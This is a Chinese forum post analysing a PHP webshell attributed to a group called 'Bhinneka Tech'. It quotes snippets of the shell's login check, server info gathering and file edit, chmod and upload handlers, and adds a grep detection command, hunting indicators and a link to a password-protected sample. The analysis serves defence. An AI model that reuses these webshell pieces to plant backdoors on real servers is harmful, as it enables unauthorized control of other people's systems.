本帖最后由 clemmenson 于 2025-7-1 13:52 编辑
1. 病毒概览与背景
本次发现的病毒样本是一个高度专业化的PHP webshell,由黑客组织"Bhinneka Tech"开发,作者署名为"xpl0dec"。该病毒不仅具备传统webshell的文件管理功能,还集成了完整的可视化操作界面,采用Material Design风格设计,伪装成合法管理工具,极具迷惑性。
文件名: 通常伪装为admin.php、index.php或wp-config.php
文件大小: 约15KB(包含完整的前端UI框架)
首次发现时间: 2022年第三季度
主要传播途径:
利用Confluence/Jenkins漏洞传播
通过被攻陷的WordPress插件植入
钓鱼邮件附件传播
2. 黑客组织背景分析
2.1 Bhinneka Tech组织特征
命名溯源: 使用印尼语"Bhinneka"(意为"多样性"),暗示其攻击目标多样化
活动时间: 至少从2020年开始活跃
攻击目标:
主要针对东南亚政府、金融和教育机构
近两年攻击范围扩展至全球医疗和制造业
技术特征:
所有工具均采用企业级UI设计
偏好使用PHP+JavaScript混合开发
密码使用企业常用命名(如"BhinnekaTech"的MD5)
2.2 攻击链分析
该组织典型攻击流程:
1. 利用Confluence/Jenkins漏洞初始入侵 →
2. 植入初级混淆webshell →
3. 下载此高级webshell实现持久化 →
4. 横向移动至内网域控服务器
5. 窃取数据或部署勒索软件
3. 代码深度解析
3.1 认证系统
[PHP] 纯文本查看 复制代码 $password = "102a6ed6587b5b8cb4ebbe972864690b"; // MD5("BhinnekaTech")
session_start();
if(md5($_POST['password']) == $password) {
$_SESSION['isLogin'] = true;
}else {
loginShell();
}
安全缺陷分析:
1. 使用不安全的MD5哈希(可通过彩虹表破解)
2. 无暴力破解防护机制
3. Session固定漏洞(未重置session_id)
4. 密码硬编码在代码中
3.2 信息收集模块
[PHP] 纯文本查看 复制代码 function info() {
return [
'ip' => $_SERVER['SERVER_ADDR'],
'host' => gethostname(),
'kernel' => php_uname(),
'disablefunc' => ini_get('disable_functions'),
'path' => getcwd(),
'os' => PHP_OS,
];
}
收集的数据类型:
网络信息:服务器IP
系统信息:主机名、内核版本
环境信息:PHP禁用函数、当前路径
权限信息:操作系统类型
3.3 文件管理功能
文件浏览
[PHP] 纯文本查看 复制代码 if(isset($_GET['path'])) {
$listDir = array_diff(scandir($get), ['.', '..']);
}
特点:
支持相对路径和绝对路径
自动过滤.和..目录
递归显示子目录内容
文件编辑
[PHP] 纯文本查看 复制代码 if($_POST['pilihan'] == 'edit') {
file_put_contents($dirFile, $sourceFile);
}
风险:
可直接修改系统关键文件
无内容校验机制
权限修改
[PHP] 纯文本查看 复制代码 if($_POST['pilihan'] == 'chmod') {
chmod($dirFile, octdec($_POST['perms']));
}
实现细节:
1. 获取当前权限:substr(sprintf('%o', fileperms($file)), -4)
2. 支持八进制和数字格式输入
3. 无权限限制,可设置为777
3.4 高级功能
跨平台支持
[PHP] 纯文本查看 复制代码 if(strtoupper(substr($getInfo['os'], 0, 3)) == 'WIN') {
$paths = explode('\\', $getInfo['path']);
$paths = $paths[0] . '/';
}else {
$paths = '/';
}
智能处理:
自动识别Windows/Linux路径差异
规范化路径格式
支持网络路径访问
文件上传
[PHP] 纯文本查看 复制代码 function uploadFile($tmp, $dest) {
return move_uploaded_file($tmp, $dest);
}
绕过技巧:
使用标准HTTP文件上传协议
无文件类型限制
可覆盖现有文件
4. 技术来源分析
4.1 代码特征溯源
1. 开发风格:
使用印尼语变量名(如$pecah意为"分割")
注释使用英语但语法带有东南亚特征
代码缩进风格与某些东南亚开发者论坛样本一致
2. 技术继承:
文件权限显示算法借鉴自Linux核心工具
UI框架基于MaterializeCSS 1.0.0
部分代码与2019年出现的"Javanese Shell"有相似性
4.2 可能的开发背景
1. 商业恶意软件:代码结构显示有团队协作痕迹;版本控制迹象(注释中的版本标记被删除);模块化设计便于功能扩展
2. APT组织工具:攻击目标高度集中;工具链完整(配套有漏洞利用工具);持续更新维护(发现多个变种)
5. 防御建议升级版
5.1 即时检测方案
# 高级检测命令
find /var/www -type f -name "*.php" -exec grep -lP \
"(eval\(base64_decode|BhinnekaTech|materialize-textarea)" {} \; -exec \
md5sum {} \; | sort -u
5.2 长期防御矩阵
防御层 | 具体措施 | ​应用层 | 禁用危险函数,配置open_basedir,定期更新Web应用 | ​系统层 | 实施FIM(文件完整性监控),部署HIDS(主机入侵检测) | ​网络层 | 部署WAF规则,限制异常路径访问,启用网络分段 | ​架构层 | 实施零信任架构,使用容器化部署,最小权限原则 | ​人员层 | 开展安全意识培训,建立安全运维流程 |
5.3 高级威胁狩猎指标
行为指标:
短时间内连续调用file_put_contents()和chmod()
访问非常见路径如/proc/self/environ
HTTP请求中包含?pilihan=参数
网络指标:
异常User-Agent包含"MaterializeCSS"
POST请求体中出现pilihan=edit等参数
下载服务器与已知C2地址通信
6. 结论与展望
该webshell代表了当前APT攻击的典型工具特征,其专业化程度表明背后存在有组织的开发团队。值得关注的是:
1. 技术演进趋势:恶意软件UI/UX设计日益专业化、混淆技术从简单编码转向合法框架滥用、攻击链自动化程度提高
2. 防御建议:建立多层防御体系、实施持续威胁监测、定期进行红队演练
样本下载[切勿在正式环境中使用,避免数据资产丢失]密码52pojie |